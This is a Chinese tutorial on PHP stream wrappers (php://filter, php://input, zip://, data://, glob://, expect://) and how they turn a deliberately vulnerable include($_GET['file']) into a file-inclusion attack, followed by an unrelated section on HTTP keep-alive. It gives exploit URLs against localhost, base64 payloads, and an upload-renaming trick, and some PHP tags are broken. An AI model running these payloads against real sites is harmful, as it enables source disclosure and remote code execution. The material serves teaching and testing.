http://127.0.0.1/code/1.php?file=file:///E:\phpStudy\WWW\code\phpinfo.php

?php
 while($line = fopen('php://stdin','r'))
 {//open our file pointer to read from stdin
 echo $line."\n";
 echo fgets($line);//讀取
 }
?>

?php
 $fd = fopen('php://stdout', 'w');
 if ($fd) {
 echo $fd."\n";
 fwrite($fd, "test");
 fwrite($fd, "\n");
 fclose($fd);
 }
?>

?php
 $stderr = fopen( 'php://stderr', 'w' );
 echo $stderr."\n";
 fwrite($stderr, "uknow" );
 fclose($stderr);
?>

?php
	include($_GET['file'])
?>

http://127.0.0.1/code/1.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php

php://input

php://input 可以訪問請(qǐng)求的原始數(shù)據(jù)的只讀流, 將post請(qǐng)求中的數(shù)據(jù)作為PHP代碼執(zhí)行。

• allow_url_fopen ：off/on
• allow_url_include：on

zip://, bzip2://, zlib://協(xié)議

zip://, bzip2://, zlib://協(xié)議在雙off的情況下也可以正常使用；

zip://, bzip2://, zlib:// 均屬于壓縮流，可以訪問壓縮文件中的子文件，更重要的是不需要指定后綴名。

• allow_url_fopen ：off/on
• allow_url_include：off/on

使用方法

zip://archive.zip#dir/file.txt

zip:// [壓縮文件絕對(duì)路徑]#[壓縮文件內(nèi)的子文件名]

測(cè)試

先將要執(zhí)行的PHP代碼寫好文件名為phpcode.txt，將phpcode.txt進(jìn)行zip壓縮,壓縮文件名為file.zip,如果可以上傳zip文件便直接上傳，若不能便將file.zip重命名為file.jpg后在上傳，其他幾種壓縮格式也可以這樣操作。

由于#在get請(qǐng)求中會(huì)將后面的參數(shù)忽略所以使用get請(qǐng)求時(shí)候應(yīng)進(jìn)行url編碼為%23，且此處經(jīng)過測(cè)試相對(duì)路徑是不可行，所以只能用絕對(duì)路徑。

http://127.0.0.1/code/1.php?file=zip://E:\phpStudy\WWW\code/1.zip%231.txt

data://協(xié)議

data://協(xié)議必須雙在on才能正常使用；

• allow_url_fopen ：on
• allow_url_include：on

http://127.0.0.1/code/1.php?file=data://text/plain,?php phpinfo()?>
http://127.0.0.1/code/1.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

glob://協(xié)議

glob:// — 查找匹配的文件路徑模式

?php
$it = new DirectoryIterator($_GET['file']);
foreach($it as $f) {
 printf("%s", $f->getFilename());
	echo'/br>'; 
}
?>

expect://協(xié)議

expect:// — 處理交互式的流

該封裝協(xié)議默認(rèn)未開啟

為了使用 expect:// 封裝器，你必須安裝 » PECL 上的 » Expect 擴(kuò)展。

用法

expect://command

附：HTTP協(xié)議是無狀態(tài)的和Connection: keep-alive的區(qū)別

無狀態(tài)是指協(xié)議對(duì)于事務(wù)處理沒有記憶能力，服務(wù)器不知道客戶端是什么狀態(tài)。從另一方面講，打開一個(gè)服務(wù)器上的網(wǎng)頁和你之前打開這個(gè)服務(wù)器上的網(wǎng)頁之間沒有任何聯(lián)系

HTTP是一個(gè)無狀態(tài)的面向連接的協(xié)議，無狀態(tài)不代表HTTP不能保持TCP連接，更不能代表HTTP使用的是UDP協(xié)議（無連接）

從HTTP/1.1起，默認(rèn)都開啟了Keep-Alive，保持連接特性，簡(jiǎn)單地說，當(dāng)一個(gè)網(wǎng)頁打開完成后，客戶端和服務(wù)器之間用于傳輸HTTP數(shù)據(jù)的TCP連接不會(huì)關(guān)閉，如果客戶端再次訪問這個(gè)服務(wù)器上的網(wǎng)頁，會(huì)繼續(xù)使用這一條已經(jīng)建立的連接

Keep-Alive不會(huì)永久保持連接，它有一個(gè)保持時(shí)間，可以在不同的服務(wù)器軟件（如Apache）中設(shè)定這個(gè)時(shí)間

總結(jié)

以上就是這篇文章的全部?jī)?nèi)容了，希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，如果有疑問大家可以留言交流，謝謝大家對(duì)腳本之家的支持。

Reference

• PHP
• php偽協(xié)議實(shí)現(xiàn)命令執(zhí)行的七種姿勢(shì)